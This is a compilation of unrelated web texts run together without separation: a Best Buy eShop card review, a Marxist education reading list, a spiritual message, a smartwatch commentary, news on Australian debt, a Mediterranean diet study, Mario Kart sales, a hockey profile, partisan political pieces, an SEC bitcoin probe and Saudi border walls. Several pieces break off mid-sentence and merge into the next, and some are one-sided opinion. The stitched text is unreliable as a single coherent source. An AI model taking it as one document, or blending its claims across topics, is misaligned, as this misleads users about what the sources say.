Thank you.First off, let me clarify that this poor review is not because of the product itself, but rather Best Buy's approach to selling this product, and I hope giving it a 1/5 review will grab their attention and see the opportunity of improvement they can take advantage of. I decided to order this eshop card online rather than in store because the product itself was not too substantive for me to warrant driving all the way to the store. I did not want to commute the entire route just for a measly card. And I'm sure other consumers with aficionados in efficiency can attest to how smart, or at least understandable, my choice was. But now let's get to the problem. When I decided to order the card online, Best Buy for some reason thought it was okay to go out of its way to mail the card, instead of just sending me a digital code for it via email like other retailers do. Target and Walmart has been doing this for a while now. Heck, I just found out that there is even a mom and pop store my friend goes to in my town that delivers eshop codes digitally rather than physically when ordering online. If these stores are able to do it, why is it that a store such as Best Buy, a retailer specializing in electronic products, have yet to be able to send eshop cards' codes electronically to consumers who order them online? Now, obviously it's not the end of the world. Of course I can deal with getting it in the mail, but this is not about my laziness. This is about you guys finding better ways to make your service better, and hence, the popular adage, "The customer is always right."
Read moreMarxism & Education
Index to the works of Marxists and others on education, cognitive psychology and child development.
Because Marxists have tended to approach the whole range of psychological issues — development, feeling, neurosis, pathology, personality and character — from the point of view of cognitive and linguistic development, much of the material in this subject archive is also found in the more comprehensive Psychology Subject Archive. Likewise, for Marxists, there has never been a sharp line between social and individual development, so social theory penetrates deeply into both psychology and educational theory.
The Marxist approach to education is broadly constructivist, and emphasises activity, collaboration and critique, rather than passive absorption of knowledge, emulation of elders and conformism; it is student-centred rather than teacher centred, but recognises that education cannot transcend the problems and capabilities of the society in which it is located.
This archive lists the works of Marxist and some non-Marxist writers on teaching and learning to be found on the Marxists Internet Archive.
Early ideas on Socialist Education
Theses On Feuerbach #3, Marx 1845
Communist Manifesto, Marx 1848
Juvenile and Child Labour,
International Workingmen's Association 1866
On General Education, Speech by Marx August 1869
Economic Manuscripts of 1861-63, MArx
Section 9 (Factory Acts), Capital, Chapter 15, Marx 1867
Section 9 (Factory Acts), Capital, Chapter 15, Marx 1867
Productive Labour, Capital, Chapter 16, Marx 1867
On Education, Mikhail Bakunin 1869
The Struggle of Woman for Education, Bebel 1879
The Socialist System of Education, Bebel 1879
Socialism and Education, May Wood Simmons 1901
The Material Basis of Education, Lena Morrow Lewis 1912
Self-Education of the Workers, Anatoly Lunacharsky 1918
Independent Working Class Education – Thoughts and Suggestions, Eden and Cedar Paul 1918
Bolshevism v Democracy in Education, Eden and Cedar Paul 1918
Education of the Masses, Sylvia Pankhurst, 1918
Soviet Ideas on Education
Decree on Child Welfare, Alexandre Kollontai 1918
To All Who Teach, Anatoly Lunacharsky 1918
Church and School in the Soviet Republic, Nikolai Bukharin, 1919
Communism and Education,
from The ABC of Communism,
by Bukharin and Preobrazhensky 1920
Lenin on Education
What Can be Done for Public Education?, Lenin 1914
Speech at first All-Russian Congress on Education, Lenin 1918
To People's Commissariat of Education, Lenin 1919
Work of People's Commissariat for Education, Lenin 1921
Reports on Soviet Education
Russian Chilren, from Six Red Months in Russia, Louise Bryant 1918
Soviet Education, from Russia in 1919, Arthur Ransome
Education and Culture, My Disillusionment in Russia, Emma Goldman 1922
Children of Revolution, Anna-Louise Strong 1925
Education in Soviet Russia, The First Time in History, Anna-Louise Strong 1925
The Revolution in Education and Culture, Soviet Russia: a living record and a history, Wm Chamberlin 1929
Family Relations Under the Soviets, Trotsky 1932
Education in Stalinist Russia
On Communist Education. Selected Speeches and Articles, M. I. Kalinin 1926-1945
Learning to Live, (PDF) A. S. Makarenko 1936-1938
The Road to Life (An Epic of Education), Volume 1, A. S. Makarenko 1933-1935
The Road to Life (An Epic of Education), Volume 2.
Lectures to Parents, A. S. Makarenko 1937
Problems of Soviet School Education, (PDF) A. S. Makarenko
Makarenko: His Life and Work, (PDF) A. S. Makarenko
Makarenko (1888-1939) reflects some ideas which were characteristic of Stalin's Soviet Union. Nonetheless, his ideas were very radical and are much admired by progressive educators to this day, especially in the education of disadvantaged children. The psychologists of the Vygotsky School, whose writings predominate in what follows, were a minority current in the Soviet Union; they were not allowed to travel or publish overseas and their influence on the Soviet education system was limited.
Early Childhood and Play
Play and its role in the mental development of the Child, Vygotsky 1933
The Construction of Reality in the Child, Jean Piaget 1955
Piaget's theory of child language and thought, Vygotsky 1934
Comment on Vygotsky, Piaget 1962
The Child and his Behavior, Luria 1930
The Origins of Thought in the Child, Henri Wallon 1947
Genetic Psychology, Henri Wallon 1956
Summerhill - A Radical Approach to Child Rearing, Erich Fromm 1960
The Psychological Development of the Child, Henri Wallon 1965
Stages in the Mental Development of the Child, Elkonin 1971
Adolescence and Ethical Development
Ethical Behavior, from Educational Psychology Vygotsky 1926
Esthetic Behavior, from Educational Psychology Vygotsky 1926
Development of thinking and concept formation in adolescence, Vygotsky 1931
Imagination and creativity of the adolescent, Vygotsky 1931
Vygotsky's tool-and-result methodology, Fred Newman and Lois Holzman
Society and Individual Development
The Psychological and Sociological Study of the Child, Henri Wallon 1947
The Influence of Social Factors in Child Development, Erich Fromm 1958
Human Nature and Social Theory, Erich Fromm 1969
Man in Marxist Theory, Lucian Seve 1974
Cognitive Development: Its Social and Cultural Foundations, Luria 1976
Cognition and Foundations of Learning
The Genetic Roots of Thought and Speech, Vygotsky 1934
Thought and Word, Vygotsky 1934
Activity and Knowledge, Ilyenkov 1974
Activity and Consciousness, Leontyev 1977
Activity, Consciousness, and Personality 1978:
Leontev's Introduction
Marxism and Psychological Science,
Activity and Personality,
Motives, Emotions, and Personality.
Much Learning does Not Teach Understanding, Vasili Davydov
Types of Generalization in Instruction: Logical and Psychological Problems in the Structuring of School Curricula, Vasili Davydov
See also:
Hegel on Education
Pedagogy of the Oppressed, Paulo Freire 1970
Comments to Andy BlundenWholesness, balance, and good vibrations to everyone! Let this be a day that we all remember why we are here at this time, as we work in harmony to rebalance the energies of planet Earth. The human race has spent centuries in bondage, incurring much trauma and suffering throughout the globe as we endure the many problems brought on by the forces of darkness that lurk behind the veil.
But as we continue on our path toward righting the many wrongs that have occurred throughout history, we must remember that it is only through working on ourselves that we can change the world.
While there is of course a global mission to create world peace and restore health and prosperity to all people, it is in the microcosmic mission of self-realization that each one of us has agreed to accomplish that real progress is made.
It is in this perspective that we can gradually chip away at the big problems that seem so insurmountable to us. Because let’s face it: Is it Gaia herself who is incurring the manmade pollution? Is it Gaia who is killing her own children with drone strikes and other such atrocities?
It is within each one of us as a collective that disconnection occurs, and with that disconnection comes the actions of negativity that compensate for the lack of love that is being received.
For example, why does a kid in grade school bully other kids? Is it just his “natural behavior” or is it a method of compensation for a lack of love that he receives at home, a way to get attention and feel good about himself by dominating others?
It’s no different than what’s going on in the White House or the military. These individuals who feel the need to harm others only do so out of disconnection and insecurity about their own existence as seemingly mortal creatures.
But would they act the same way if they were loved and fully connected with divine consciousness? These people are the living embodiment of the negative thoughts we all endure.
So if we can learn to accept the negative thoughts we all have and deal with them in a mature and responsible manner, then they no longer have power over us, and then cease to exist entirely.
The best gift you can give to yourself and to others is your acceptance and gratitude. Focus on these acts alone and you will help to make great strides of progress toward freedom and prosperity.
Be well!
-SkylerMarch has been a particularly fecund time for new Android Wear watch announcements, though unlike previous years, the brands behind these devices are almost all from the fashion and luxury spheres of business. Tag Heuer, Montblanc, Hugo Boss, Tommy Hilfiger, Diesel, Emporio Armani, Michael Kors, and Movado are just some of the well known names announcing Wear 2.0 smartwatches. This wave of new products is symptomatic of a broader trend in the tech industry: one where a high degree of component and software integration has made it almost trivial to launch a new tech product, whether or not you're actually a tech company.
Though a number of the newly unveiled watches haven't been fully detailed and specced out yet, we already know the commonalities between them. They run the same Android Wear 2.0, embellished with a custom watchface or two. Inside, most are relying on Qualcomm's Snapdragon Wear 2100 chip — excepting Tag Heuer's partnership with Intel on the Connected Modular 45 — which integrates all the necessary wireless radios for a smartwatch. And they all have roughly the same battery size and physical dimensions.
I like to imagine there's a debonair Google operative out there, visiting all the fashion brands and giving them the exact same pitch: take our software, nothing for you to do, take Qualcomm's chip, no extra labor required, and use these reliable suppliers of memory chips and batteries. All you have to do is put a strap on it and it's a smartwatch!
This standardization of software and hardware parts has made it possible for companies unfamiliar with the complexities of producing an integrated smart device to launch one anyway. It's the smartwatch equivalent of a company like Adidas taking a standard quartz movement and building a three-striped watch around it. On the one hand, it feeds a consumer desire to have favorite brands covering everything we own, but on the other, it doesn't really lead to any better watches or technology.
The crux of the problem with these internally identical Android Wear watches is that tech consumers demand substantive differences between cheap and expensive gadgets. How does Montblanc justify charging three times as much as LG for a watch that is functionally the same as LG's? When Tag Heuer or any other famed watchmaker puts four-figure prices on its mechanical watches, there's an implied promise that they'll have an unmatched quality of workmanship and precision. But when those same companies outsource the brains to Google and the brawn to Qualcomm, what's left for them to differentiate themselves with?
In fashion, the price premiums are usually justified by higher quality materials, sharper looks, and brand cachet. So there's still a chance that watches like the Movado Connect (above) will attract people more concerned with aesthetics than functionality — provided this shift toward fashion sensibilities is real and not just wishful thinking. And yet, isn't the whole point of smartwatches the fact that they're more functional?
Android Wear requires a sacrifice of some convenience — primarily to do with the added bulk and weight of the watch — for the benefit of smart functions like notifications, contactless payments, and music controls. Even with the supposed next-gen power efficiency of Qualcomm's new chip, an Android Wear watch will require regular, probably daily, recharging, whereas automatic timepieces can just tick along happily so long as they're regularly used.
The promise from brands like Movado and Montblanc is that you can have the smartwatch functions with an extra layer of exquisite design and exclusive materials. But will that really be enough? Can an Android Wear watch justify a luxury price when the most unique thing about it is its wrist strap?Housing wealth is uncertain, but mortgage debt is very real
Updated
Perhaps unsurprisingly, little attention was paid to what the boss of Australia's biggest bank had to say about its latest results beyond the money laundering scandal it's embroiled in.
But a thoughtful response by Ian Narev to the final question in last week's analyst briefing raises an issue far more important to Australia's financial system in the long-term than dirty money.
That issue is Australia's immense household debt.
The question was almost a Dorothy Dixer, with the analyst effectively asking whether concern about Australia's record levels of household debt was overblown.
Ian Narev didn't give the answer the analyst was probably expecting.
"It should cause questions, because this is an outlying chart relative to global experience," he responded.
"The first question we've got to ask ourselves is what's underlying it and are we comfortable with it."
As you'd expect from the head of Australia's biggest mortgage lender, he said he remained relatively comfortable.
Mr Narev said taking into account household wealth makes Australia's almost uniquely high debt burden appear less concerning.
However, he also noted that Australia's household wealth is not as certain as many people assume.
"Underneath the effective wealth of the household is a whole lot of mark-to-market of what's my property worth and what are my
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Nutrition, also in Spain. Fitó and team's findings were published in the American Heart Association's journal Circulation.
There are two types of molecules called lipoproteins that carry cholesterol in the blood: low-density lipoprotein (LDL) and high-density lipoprotein (HDL).
LDL is known as "bad" cholesterol, since having high levels of LDL can bring about plaque buildup in the arteries, which can result in heart disease and stroke. HDL is known as "good" cholesterol; HDL absorbs cholesterol and carries it to the liver where it is flushed from the body. Having high levels of HDL reduces heart disease and stroke.
Mediterranean diets compared with healthy control diet
A growing body of evidence supports the theory that the Mediterranean diet protects against the development of heart disease. Studies have also shown that the Mediterranean diet improves the lipid profile of HDLs.
"However, studies have shown that HDL doesn't work as well in people at high risk for heart attacks, strokes, and other cardiovascular diseases and that the functional ability of HDL matters as much as its quantity," explains Fitó. "At the same time, small-scale trials have shown that consuming antioxidant-rich foods like virgin olive oil, tomatoes, and berries improved HDL function in humans. We wanted to test those findings in a larger, controlled study," she adds.
The research team aimed to determine whether eating a Mediterranean diet enriched with virgin olive oil or nuts over a long period of time would improve the beneficial properties of HDL in humans.
Fitó and collaborators randomly selected a total of 296 individuals who had a high risk of heart disease and were participating in the Prevención con Dieta Mediterránea study. The participants had an average age of 66 and were assigned to one of three diets for a year.
The first diet was a traditional Mediterranean diet enriched with around 4 tablespoons of virgin olive oil per day. The second, a traditional Mediterranean diet supplemented with a fistful of nuts each day. The third diet was a healthful "control" diet that contained a reduced amount of red meat, high-fat dairy products, processed foods, and sweets.
Both Mediterranean diets emphasized the inclusion of fruit, vegetables, legumes (such as beans, chickpeas, lentils, and whole grains), and moderate amounts of fish and poultry.
Blood tests were conducted at the start and end of the study to measure LDL and HDL levels.
Virgin olive oil-enriched Mediterranean diet enhanced HDL function
The researchers found that total and LDL cholesterol levels were only reduced in the healthful control diet. While none of the three diets significantly increased HDL levels, the two Mediterranean diets improved HDL function, and the improvement was more pronounced in the group enriched with virgin olive oil.
The Mediterranean diet enriched with virgin olive oil improved HDL functions, such as reversing cholesterol transport, providing antioxidant protection, and enabling vasodilation.
Reverse cholesterol transport is the process in which HDL removes cholesterol from plaque in the arteries and takes it to the liver. Antioxidant protection is the ability of HDL to counteract the oxidation of LDL. Oxidation of LDL triggers the development of plaque in the arteries.
Lastly, vasodilator capacity - which relaxes the blood vessels, keeps them open, and keeps the blood flowing - is improved by the Mediterranean diet with virgin olive oil.
Although the control diet was rich in fruits and vegetables like the two Mediterranean diets, the diet was shown to have an adverse impact on HDL's anti-inflammatory properties. This negative impact was not observed in the Mediterranean diets. A reduction in HDL's anti-inflammatory capacity is linked with a greater risk of heart disease.
As expected, the researchers only found slight differences in results between the diets, because the variation between the two Mediterranean diets was modest, and the control diet was healthful.
"Following a Mediterranean diet rich in virgin olive oil could protect our cardiovascular health in several ways, including making our 'good cholesterol' work in a more complete way." Montserrat Fitó
This research could contribute to the development of novel therapeutic targets, such as new antioxidant-rich foods, nutraceuticals, or new drug families that may improve HDL function, conclude the study authors.
Learn how the Mediterranean diet may protect against ADHD.Top-selling US software in June
C'mon, you're going to tell me that's not what's doing it? What, is it that Mario Kart 8 is fun? That it's familiar? That it's a Mario Kart game? Nope. All Luigi, baby. That's what you get in 2 anno Luigi.
No matter the cause, Mario Kart 8 is doing well. Total sales crossed 2 million three weeks ago. It sold 470,000 units in the US in June, making it the month's top seller and bringing its US total alone to over 885,000.
Even the Wii U's faint heartbeat is increasing its frequency. Nintendo says sales of hardware and software in June 2014 were up 233% and 373%, respectively, over June 2013. Wii U hardware sales are up 48% for the first half of 2014 compared to last year, and software sales are up 129%.
Tomodachi Life also moved 175,000 units.
You are logged out. Login | Sign upThe restaurant sits in shouting distance of Honda Center and has the usual sounds of a lunchtime crowd at work. Plates and glasses jingle together in the background as the conversations from table to table bounce off one another in harmony.
Ryan Kesler is a Michigan man but he enters the establishment looking as if he’s from La Habra instead of Livonia. T-shirt, hat, shorts, sandals. His ever-present beard already in playoff form.
The young greeter gives a quick double-take as if she may recognize this very recognizable player in hockey circles but isn’t quite sure before seating him and his guest. Kesler dines on a club sandwich and not one person stops by for a picture or an autograph. Peace.
Would this happen in Vancouver? Maybe. Not likely.
It is different in Southern California where the options for sports and just about anything else are more plentiful. Teemu Selanne calls this his “happy place” and why wouldn’t it be if you can score hundreds of goals, be the icon for an NHL franchise and still live and go about it in relative anonymity.
It is something that Kesler, the prize catch for the Ducks this summer, is readily eager to enjoy. The next phase is upon him.
“Right off the bat, you can tell this is a first-class organization,” he said. “Being in Orange County, it’s icing on the cake. The family loves it here. I love it here.”
The Ducks made sure their critical piece to what they hope is a championship puzzle is in a happy and peaceful place before he even hit the ice with his new team. They flew out him and his wife, Andrea, and gave him the grand tour of the arena and its facilities, fitting him in the club’s new white road sweater adorned with his name and customary No. 17.
It was then on to nearby Angel Stadium where he hobnobbed with Mike Trout and Mike Scioscia before throwing out the first pitch – a decent one the former baseball player rightly had to do from the mound. “It’s secretly something I’ve always wanted to do,” Kesler said, beaming as he spoke.
All that fun was nice on a sunny July day. What really matters is what the hard-boiled center does on the ice – preferably in June.
The Ducks are would-be Stanley Cup contenders, would-be because the champions who sit only 30 miles away rudely had them packing their equipment after the second round. Bob Murray, the team’s straightforward general manager, quickly determined that the status quo would not get his group past the Kings.
Kesler, a six-time 20-goal scorer and defensive demon as a former Selke Trophy winner, was his target, and Murray found a player ready to cast aside 11 eventful years with the Canucks for another chance to be the last one standing.
“I think changes needed to be made with the new management coming in and the new coaches,” Kesler said. “I felt I was stuck in a rut there. I needed a change.
“Talking with management, they were going into a rebuild or that’s what they told me. I just thought it was best to move on.”
The word had long been out that Kesler wanted off Vancouver’s descent from its run to Game 7 of the 2011 Cup Final. The stars aligned for the Ducks.
The Ducks desperately wanted a top center to pair with star captain Ryan Getzlaf. They had the salary cap space to absorb a big salary that a proven veteran would bring.
Kesler had a list of six teams he’d waive his no-trade clause for and whittled it down to two – the Ducks and Chicago. Pittsburgh coveted him but already had Sidney Crosby and Evgeni Malkin as its top two pivots, and Chicago had much less cap room available.
The price of underrated center Nick Bonino, defenseman Luca Sbisa and a first-round pick wasn’t cheap. But Murray got his $5 million man.
“I think the main reason is they’re ready to win and ready to win now,” Kesler said. “They have management that wants to win and wanted to use that cap space. But at the same time, they’re young and they have young talent on this team that’s pushing to make the team.
“I thought it was a good fit. That’s why I waived to come here.”
This, of course, is the honeymoon period. Sky-high expectations have yet to be filled or unfulfilled.
Kesler, 30, brings that because he can do anything that is needed. Hits, scores, defends, irritates. A boost to the power play, penalty kill and facoff circle, all of which were covered issues that helped bring down a 54-win team.
Most of all, it is attitude. Playoff attitude. The Ducks can use a little more mean.
“I just think it’s who I am,” Kesler said. “It’s the way I play the game. For me, I play to win. It doesn’t matter who’s on the other side of the puck.
“It’s my puck and I’ll do anything I need to get it. Obviously I get under a lot of people’s skin out there.”
Ducks coach Bruce Boudreau can’t wait to see the one-two punch of Getzlaf and Kesler in action. Boudreau said Kesler’s size and all-around ability is something that they didn’t have at that slot behind Getzlaf and “that’s why he was so sought after by everybody.”
“He’s a big, strong centerman,” Boudreau said. “As much as I loved all of the players on our team last year, Saku (Koivu) wasn’t very big, Nick Bonino isn’t very big and Mathieu Perreault isn’t very big.
“Now we have that big centerman who can play against every other team’s top line, and allow Ryan Getzlaf’s line not to have to play against them, especially at home.”
The do-everything Getzlaf is looking forward to Kesler carry some of the load, particularly when it comes to defending against top forwards.
“He’ll be great,” Getzlaf said. “Kes is a great hockey player who will help our team and help support me on the ice, especially in certain situations.
“He can play when I normally had to do both things. It’ll be good for our team.”
Kesler understands his place in the Ducks’ grand plan. He’ll just be glad to do it where the daily spotlight isn’t as bright.
Playing in a beautiful city such as Vancouver is something he’ll never forget. Answering the daily questions from an ever-present media in a hockey-obsessed town is something he won’t miss.
“I get they’ve got to sell papers in that city,” Kesler said. “Negative stories sell more than positive stories. Saying that, that never bothered me. Obviously you get irritated with them sometimes. But the media was fine. I liked most of them.”
One big issue with Kesler was the perception that he wasn’t the ideal guy to be around when the Canucks went south last season. The reported trade demand that came out of the Sochi Olympics didn’t help.
Can he be moody during a losing streak? Sure. Is he a bad teammate? Hardly, he insists.
“I don’t buy that I’m not a good teammate,” he said. “You can ask any of my teammates. I know when I was traded, if I was such a bad teammate, 95 percent of the guys wouldn’t have texted me (afterward).
“That’s the problem with Vancouver. The media makes up a lot of stories that aren’t true. To be honest, I was really sick of certain media guys throwing people under the bus.
“No matter how much my old teammates say it doesn’t bother them. It affects them. It does in that city.”
There is a funny side and it shows in photo-bombing interviews of teammates or wearing too-tight Speedos for his own ALS Ice Bucket Challenge. The ferocious side comes from years of being in the competitive Detroit youth hockey scene.
Battles were plenty in the Kesler household, and if big brother Todd and big sister Jenny were allowed to get the better of him in anything, little Ryan’s blood would boil. “I’d be pretty mad,” he said.
With a devilish smile, Kesler remembers how he and close friend Chris Conner – an NHL journeyman now with Washington – went at each other so intensely that Conner gave him a black eye with a cross check. Time has allowed Kesler to handle losing better, at least off the ice.
“The people in Michigan are hard-working, first-class citizens,” Kesler said. “It is the way I was brought up. Work hard. Earn your stripes.
“Growing up in that hockey atmosphere, but at the same time, you got the other three big sports there. There was great competition there. It helped me develop into the player I am now.”
Smiling. Agitating. Joking. Irritating. Whether he likes it or not, Kesler will be quite recognizable in Duckland.
Contact the writer: [email protected] night was just the beginning of the onslaught that is about to hit Trump about the fraudulent Trump University. Trump himself is being sued for fraud in connection with the sham program in which people were bilked out of $35,000 (minimum) on the pretense that they were going to be allowed to basically go into business with the illustrious Donald Trump, and got literally nothing in return.
In addition to their lawsuit, the victims of Trump’s scam are speaking out in commercials that are about to blanket the country. The American Future Fund is promising to spend millions of dollars in ads to let people know what Trump is all about. Here are the first three spots they are planning to run.
As you watch these people, consider that what they are doing is actually very brave. It takes a lot of guts to go on national TV and admit that you got suckered by a con man. For every one who is willing to undergo the humiliation, there are hundreds of others who aren’t. And they have a message about the man who would be President.
This is the man who portrays himself as the champion of “little people.” There’s one thing that’s true about Donald: he loves the poorly educated. They’re the easiest targets for his scams.The EPA recently announced new regulations limiting the carbon produced by power companies as part of a greater effort to curb climate change. However, on the 346th page of the 463-page report, under a section entitled “Impacts of the Proposed Action,” the EPA admits that it doesn’t think the new rules will reduce emissions of CO2, a major greenhouse gas, in any major way.
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According to the report, “The EPA does not anticipate that this proposed rule will result in notable CO2 emission changes.” They released a press statement the same day the report was made public announcing their decision to “cut carbon pollution from new power plants in order to combat climate change.”
Last month, President Obama directed the EPA and the EPA’s new chief administrator, Gina McCarthy, to make climate change their top priority. Regulations the agency itself thinks won’t help are an interesting start.Though it's still more than five months before Illinois takes its turn on the presidential nominating calendar, it's only a few days before the process of weeding out the pretenders from the contenders officially begins here.
On Thursday, presidential campaigns can start gathering signatures to secure a place on the ballot for their candidate, and more important, for their delegates to the Republican and Democratic nominating conventions.
The efforts in Illinois represent a test of early organizational strength and the national reach of campaigns that now are largely focused on the first few states with primaries and caucuses in early February.
On the crowded Republican side, supporters of former Florida Gov. Jeb Bush, Florida Sen. Marco Rubio and Ohio Gov. John Kasich have been the most active in recruiting delegate candidates. But among the current front-runners — businessman and reality TV star Donald Trump, neurosurgeon Ben Carson and former business executive Carly Fiorina — there's been little activity.
Among Democrats, Hillary Rodham Clinton is expected to have no trouble putting together a campaign in her birth state. But the status of her rivals in Illinois, including Sen. Bernie Sanders of Vermont, remains uncertain.
On its face, Illinois' access rules don't appear too onerous to keep campaigns that haven't shown much organization here off the ballot, such as Trump, or a potential late-starting Democratic Vice President Joseph Biden.
But, warns Illinois House Republican leader Jim Durkin, "It's much more daunting than it appears."
"It's not easy. You can be the most popular person in national polling and it doesn't mean a damn thing. It's all about organization," the veteran lawmaker from Western Springs said.
Durkin, who spearheaded the 2000 and 2008 Illinois presidential campaigns of John McCain, said the first time around he didn't finalize the paperwork to put the Arizona senator and his delegates on the Illinois ballot until five minutes before the filing deadline.
But Durkin also knows that committing too early to a candidate can have its pitfalls. An early supporter of Wisconsin Gov. Scott Walker's now-ended Republican presidential bid, Durkin said he will focus on state legislative contests and not immediately back another candidate for the White House.
The real work for presidential campaigns is putting together slates of pledged delegates for the national nominating conventions for the March 15 Illinois primary ballot — 54 who are directly elected by GOP voters to go to Cleveland and 102 voted by Democratic primary-goers to go to Philadelphia.
Under the rules of the national Republican Party, Illinois' presidential primary marks the beginning of a stretch of primaries and caucuses where the number of convention delegates awarded won't be based on how the candidates finish.
Instead, the real voting comes in the contest for the delegates, who are elected separately from each of the state's 18 congressional districts. As is the tradition in Illinois' GOP primary, the vote for a Republican presidential candidate is known as a "beauty contest" with no effect on how many delegates are awarded.
And so the campaigns are lining up supporters to gather signatures. For the presidential contenders, it takes only 3,000 valid signatures from voters to get on Illinois' primary ballot, with a Jan. 6 deadline.
For delegates to the Republican convention, the number of signatures varies by congressional district — from a low of 145 in the West Side's 4th Congressional District to 1,014 in central and west central Illinois' heavily Republican 18th Congressional District.
Each GOP presidential candidate can field a maximum of three delegates and three alternate delegates per district, and they can run as a slate for petition-gathering purposes.
Former House Republican leader Tom Cross of Oswego is serving as a co-chair of the Bush campaign in Illinois, along with former Gov. Jim Edgar and U.S. Rep. Adam Kinzinger of Channahon. Cross said he, Edgar and Kinzinger also will run as delegates on a slate that includes state Sens. Bill Brady of Bloomington, Karen McConnaughay of St. Charles and Sue Rezin of Morris.
"We have, for all practical purposes, filled out our slate of delegates," Cross said. "I've been involved in calling people both to serve as delegates and in supporting us. We will be good to go when we start circulating petitions."
Cross noted that recruiting delegates isn't just a matter of putting a name on the ballot but finding experienced and well-known people who can serve to verify the quality of the presidential contender.
"In Springfield, (veteran state Rep.) Raymond Poe is an example," said Cross, who added that the campaign plans to roll out its full list of delegates soon. "The challenge for all campaigns is to have those types of people statewide in every congressional district."
Nancy Kimme, a former chief of staff for the late Comptroller Judy Baar Topinka, is acting as senior adviser to the Kasich campaign in Illinois. She said the Ohio governor signed his statement of candidacy, a precursor to get on the ballot, during his first fundraising visit to Chicago last week.
"We're going to be ready on day one with our delegates. We're almost full now and we're running them through the vetting process," Kimme said.Mad Men is equally famous for its story lines as its period styling. A new exhibit in New York puts it on display.
At the Museum of the Moving you can walk into Don's office from Sterling Cooper Draper Pryce.
Visitors can also step into Don and Betty's Colonial kitchen from Ossining.
The pieces in the kitchen actually date from the 1950s, not the 1960s. That was on purpose: Weiner knew that no family has a brand new kitchen every year.
There's also an installation of a recreated writer's room, with actual storyboards from season seven on the wall.
Sal, and Peggy, early in the show.
Here, Don and Megan's sunken living room from their Upper East Side apartment. It's not on display, but props and costumes are.
Including the dress Megan wore when she sang Zou Bisou Bisou.
Weiner's notes.
Don's box of secrets.
Costume designer Janie Bryant's creations are on display as well.
One near throwaway moment seen here, when Betty tries on her Italian romper.
Joan's outfits are on the left. Peggy's are in the middle, and Don's suits are on the right.
Fin.The US Securities and Exchange Commission (SEC) is investigating bitcoin securities exchange MPEx and gambling site SatoshiDice, according to an email exchange posted online yesterday.
The news could have implications for other bitcoin equity exchanges and the people investing with them, especially if they are US residents. Dealing only in bitcoin, the platforms function otherwise as unregulated stock exchanges and usually do not require any identification from users.
A SEC representative sent an email request to MPEx operator Mircea Popescu of Romania. Popescu, known as ‘MP’ to the bitcoin community, is widely known for his outspokenness and offered a lengthy defence of bitcoin in his responses to the SEC’s request.
He was contacted by Daphna Waxman, an attorney with the Enforcement Division of the United States Securities and Exchange Commission, on 14th February with a request to release a list of all investors in SatoshiDice before its sale in July last year, and an account history for Erik Voorhees, the site’s original owner.
Jurisdiction issues
It is not clear if MPEx has broken any rules or even whether the US SEC has any official jurisdiction over a company based in Romania, as Popescu pointed out in the conversation. However it can certainly apply extrajudicial pressure, and Waxman requested he “voluntarily provide” the information instead. After denying Waxman a telephone conversation he wrote:
“As you’re soliciting private information you will have to sufficiently establish your authority to do so, which includes defeating specific challenges of jurisdiction that on a cursory examination seem to bar the institution you claim to be associated with from making these specific requests.”
The SEC has concerned itself for some time over whether bitcoin-denominated stock exchanges are illegal, according to a Bloomberg report.
On reddit, users expressed concern that other bitcoin exchanges such as Havelock Investments, their customers, and high-profile bitcoin personalities might be on the US authorities’ radar as well. Waxman requested Popescu identify SatoshiDice’s pre-July 2013 shareholders by “name, address, or BTC address”.
Gaming
SatoshiDice, which Voorhees founded and sold for 126,315 BTC ($11.5m at the time) to an undisclosed party in July last year, is not currently listed on MPEx or any other exchange.
The simple bitcoin betting game of chance has proven wildly popular, even though online gambling is illegal for US residents – at least when it involves what the authorities call ‘real’ currency.
Dice image via ShutterstockSaudi Arabia is building great wall — or rather, a great chainlink fence with razor wire — to "protect against ISIS" in Iraq. And it's not the only country investing in very expensive walls right now, even though they probably won't work. Why? Because walls aren't just about security. They're also powerful symbols.
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The Great Wall
News outlets like NPR and UPI have been reporting the project for weeks, but so far we have very few pictures of the actual wall itself.
According to the Telegraph, Saudi Arabia wants to "insulate itself from the chaos engulfing its neighbors," and it's doing so with a supremely high-tech wall. Two high fences, 300 feet apart; 40 watch towers; 900 miles of fiber optic cable; underground movement detection. Saudi Arabia's government has been talking about this wall for a loooong time—since 2006—but in early January, ISIS attacked a border post and killed four guards, making it very clear that Saudi Arabia is a big target, and raising the question of the wall once more.
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But will a glorified fence really keep out a nebulous group like ISIS? And is that really all this wall is designed to do?
It's a contentious question, and it's complicated by the fact that Saudi Arabia isn't the only world power throwing up walls along its borders. There are dozens of security walls going up around the world, as Reece Jones, the author of Border Walls: Security and the War on Terror in the United States, India, and Israel, told me over email. The International Organization of Migration reports that 40,000 have people have died in the past decade alone trying to cross borders. "The construction of border walls and the violence of borders is a significant development globally over the past twenty years and one that is not well documented," says Jones.
Why are so many countries returning to the oldest defense mechanism known to civilization, one that is far from effective? The answer is more complicated than security alone.
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Thousands of Years, Thousands of Walls
Let's back up for a second. Why did humans even start building walls?
As Gizmodo's Annalee Newitz pointed out last year, it wasn't for defense at all: They were social. As humans domesticated and began to settle in communities and even small villages, walls became a way to foster privacy and even prevent groups of humans from "fragmentation into hunter-gatherer groups." In hot, dry climates, there were environmental benefits too—thick, high walls kept cool air in and created shade.
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Jeddah under attack in 1517. Wikimedia Commons.
But like so many other countries, walls became a crucial because they are the primary defense against seemingly endless invasions in Saudi Arabia. In a way, you could see the centuries of turmoil that rocked it as a long succession of building, destroying, and rebuilding walls: From the strong, thick walls built hastily around Jeddah in the 16th century to keep the Portuguese out, to the old capital—a walled city called Diriyah, which is now just a lovely, UNESCO-protected ruin—that was destroyed by the Ottoman Empire of the early 1800s after a six month siege.
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Saad ibn Saud palace in Diriyah by Fedor Selivanov.
In a way, Saudi Arabia walling off its borders just seems like a continuation of a centuries of history.
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If Walls Don't Work, Why Are We Building So Many of Them?
Let's be real, though: The Ottoman Empire invading in 1818 was probably the last time a wall served as an effective defense, too. We live in an age of mortar shells and heat-seeking missiles and cyber warfare.
But here's the funny part: Even though walls aren't as infallible as they were two centuries ago, they're absolutely exploding across the world. Besides obvious examples like Israel's "separation barrier" in the West Bank and the United States' own farcical partial wall at the Mexico border, there are dozens of other countries building walls around themselves right now. There's the 1,050-mile-long fence between Turkmenistan and Uzbekistan, There's the 700-mile trench being dug between Afghanistan and Pakistan. There's the wall that Greece put up along its border with Turkey. North Korea and South Korea, too.
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An excavator digs a trench along the Pakistan Afghanistan border. AP Photo/Matiuallah Achakzai.
